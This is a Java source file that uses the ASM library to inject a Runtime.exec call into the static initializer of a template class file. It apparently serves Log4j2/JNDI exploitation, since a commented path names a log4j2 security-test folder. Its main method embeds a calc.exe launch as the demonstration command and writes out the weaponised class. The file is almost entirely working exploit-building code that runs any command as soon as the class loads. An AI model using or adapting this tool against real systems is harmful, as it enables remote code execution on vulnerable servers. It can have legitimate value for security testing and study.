package com.technology.util;

import java.io.ByteArrayInputStream;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.OutputStream;

import org.objectweb.asm.*;
import org.springframework.asm.Opcodes;


/**
 * @Classname Transformers
 * @Description Insert command to the template classfile
 * @Author Welkin
 */
public class Transformers {

	public static byte[] insertCommand(InputStream inputStream, String command) throws Exception {
		ClassReader cr = new ClassReader(inputStream);
		ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES);
		ClassVisitor cv = new TransformClass(cw, command);

		cr.accept(cv, 2);
		return cw.toByteArray();
	}

	static class TransformClass extends ClassVisitor {

		String command;

		TransformClass(ClassVisitor classVisitor, String command) {
			super(Opcodes.ASM7, classVisitor);
			this.command = command;
		}

		@Override
		public MethodVisitor visitMethod(
				final int access,
				final String name,
				final String descriptor,
				final String signature,
				final String[] exceptions) {
			MethodVisitor mv = cv.visitMethod(access, name, descriptor, signature, exceptions);
			System.out.println(name);
			if (name.equals("<clinit>")) {
				return new TransformMethod(mv, command);
			} else {
				return mv;
			}
		}
	}

	static class TransformMethod extends MethodVisitor {

		String command;

		TransformMethod(MethodVisitor methodVisitor, String command) {
			super(Opcodes.ASM7, methodVisitor);
			this.command = command;
		}

		@Override
		public void visitCode() {

			Label label0 = new Label();
			Label label1 = new Label();
			Label label2 = new Label();
			mv.visitTryCatchBlock(label0, label1, label2, "java/lang/Exception");
			mv.visitLabel(label0);
			mv.visitLdcInsn(command);
			mv.visitVarInsn(Opcodes.ASTORE, 0);
			mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false);
			mv.visitVarInsn(Opcodes.ALOAD, 0);
			mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Runtime", "exec", "(Ljava/lang/String;)Ljava/lang/Process;", false);
			mv.visitInsn(Opcodes.POP);
			mv.visitLabel(label1);
			Label label3 = new Label();
			mv.visitJumpInsn(Opcodes.GOTO, label3);
			mv.visitLabel(label2);
			mv.visitVarInsn(Opcodes.ASTORE, 0);
			mv.visitVarInsn(Opcodes.ALOAD, 0);
			mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Exception", "printStackTrace", "()V", false);
			mv.visitLabel(label3);
		}
	}


	public static void main(String[] args) throws Exception {
//        Runtime.getRuntime().exec("D:\\workspace\\security-test\\log4j2\\src\\main\\resources\\template\\my.bat");
		String command = "cmd /k start C:\\Windows\\System32\\calc.exe";
//        Runtime.getRuntime().exec(command);
		byte[] bytes = Transformers.insertCommand(Transformers.class.getClassLoader().getResourceAsStream("template/EmptyTest.class"), command);
		ByteArrayInputStream bain = new ByteArrayInputStream(bytes);

		int len;
		byte[] buffer = new byte[1024];
		OutputStream out = new FileOutputStream("EmptyClass1.class");
		while ((len = bain.read(buffer)) > 0) {
			out.write(buffer, 0, len);
		}
		bain.close();
		out.close();

	}
}
